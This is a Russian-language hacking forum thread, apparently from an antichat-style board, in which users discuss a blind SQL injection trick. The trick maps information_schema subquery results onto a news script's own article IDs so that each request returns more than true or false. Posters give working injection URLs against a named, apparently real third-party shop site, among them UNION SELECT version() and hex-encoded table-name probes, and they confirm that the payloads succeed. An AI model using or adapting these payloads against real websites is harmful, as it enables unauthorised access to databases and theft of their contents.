![]() |
Multivariant Blind SQL Inject's
Не знаю писал об этом кто-то раньше или нет, идея в общем то очевидная...
Для начала напомню суть Blind SQL - к примеру у нас есть уязвимый сайт, на лицо инъекция, но использовать классический UNION SELECT мы не можем, так как в скрипте, к примеру, используються несколько последовательно идущих запросов с разным количеством колонок, в которые приходит наш уязвимый параметр. Чтобы получить данные из базы в этом случае обычно используеться конструкция AND c посимвольным перебором значений: Код:
Подбор имени первой несистемной таблицы:Еще одна полезная констукция - IN: Код:
Проверяем существование таблиц из спискаНо почему бы нам не использовать в качестве выводимого результата "родные" ID скрипта? Допустим у нас есть новостной сайт - с уязвимым параметром news_id. Сопоставив каждому варианту ид новости мы сможем возвращать более 2 вариантов, сократив таким образом количество запросов: Код:
?news.php?news_id= |
ога,я смотрю не зря открыли доступ на чих.
|
да уже было на ачате это.. https://forum.antichat.ru/showpost.php?p=1047515&postcount=72
|
Kernet
Эмм.. кто кому куда открыл...?? :) попугай Ну там какбе немного подругому... У меня про чиcтый blind... |
Цитата:
Если касаться именно поиска таблички с юзерами то кажеться легче всего начинать с like '%%' Вижу только 1 + данного метода это более нагдляднее... а если там допустим надо логин или пароль вытаскивать то тогда как? |
pampom, да этот метод, как я понял для того, чтобы брутить имена таблиц в 5й ветке, а не доставать их посимвольно. Или я ошибаюсь?
|
Цитата:
Цитата:
ДОпустим запрос такой: select newcont from news where id=$id инжект в параметре ИД. Допустим там ещё ткая реализация что содержимое ИД куда-нить попадает и обрабатывается. Ну вобщем слепая инъекция. в итогде, по предложенному вами методу получится: select * from news where id=(select 111 from information_schema.tables where table_name = 'administrators' union select 112 from information_schema.tables where table_name = 'admins' union select 113 from information_schema.tables where table_name = 'users') если какойто таблицы не существует, то эррор. с колумнами то же самое. в слепой инжекции можно получить только 0 или 1, то бишь тру или фолс. Выходит, чтобы получить тру, нужно чтобы все параметры были верны. Цитата:
|
Код:
?news.php?news_id=К примеру у нас есть новости "Пьяные солдаты сбили НЛО" с ид 111 и "Обама тайный брат Майкла Джексона" с ид 112. Запрос возвращает статью про Обаму соответственно наше значение 'admins' o3,14um >если какойто таблицы не существует, то эррор Почему еррор? еррор здесь будет если существуют несколько... |
2 попугай
Речь не об этом 2 o3,14um Цитата:
Цитата:
Цитата:
2 Psi.X да, нормально, но не ново , не доработано, и уж конечно не универсально :) |
Цитата:
Цитата:
Я, конечно верю, что когда-то он работал, но посмотрим даже сейчас. Там по-видимому сделали пеерстройку и теперь проверяются переменные-результы на правильность и если хоть один из них неправильный - вылазит одибка мускуля. Ну, может там и подругому, но не суть. Цитата:
Вот вам слепая скуля http://www.omjewels.com/cpCommerce/document.php?id_document=2-1 из багтрека http://www.xakep.ru/post/47899/default.asp Покажите пожалуйста на примере, этот метод... |
Цитата:
Этот пример до сих пор отлично работает, смотри внимательно : 5.0.19 Цитата:
http://www.omjewels.com/cpCommerce/document.php?id_document=-2+union+select+1,version(),3,4,5,6,7-- 5.0.51a-community Но дело конечно не в этом. Суть метода помоему ясна предельно, в зависимости от выполнения условия, результат будет разным. Т.е. если есть таблица 'admins' выведется новость 112, если 'users' 113, что тут непонятного? ================= Конкретно на примере: http://www.omjewels.com/cpCommerce/document.php?id_document=(select+1+from+informatio n_schema.tables+where+table_name=0x6C6F6C+union+se lect+2+from+information_schema.tables+where+table_ name=0x5649455753) выводится новость 2 т.е. http://www.omjewels.com/cpCommerce/document.php?id_document=2 Это происходит потому. что таблицы lol нет, а таблица VIEWS есть. Так понятно? |
Цитата:
Цитата:
Только этот метод имеет ряд недостатков... Если 2 варианта будут верны, то ниечго не получитсяЮ да и ещё нужно смотрет что за новость... Идея, конечно хорошая, но я, к примеру никогда не буду пользоваться этим методо=) |
а чем не устороила конструкция select case?
|
Цитата:
Цитата:
зы Метод какбе подразумевает автоматическое использование в скрипте, если не захарит, может напишу скриптег Scipio Не вкурсе насчет SELECT CASE, можешь просветить? :) Это работает только в SQL SERVER? |
http://www.mysql.ru/docs/man/Control_flow_functions.html
тут про кэйс Цитата:
|
О чем тема ваще? Бред. Смысл перетирать то, что уже давно написано до нас?:)
|
Цитата:
|
| Время: 04:26 |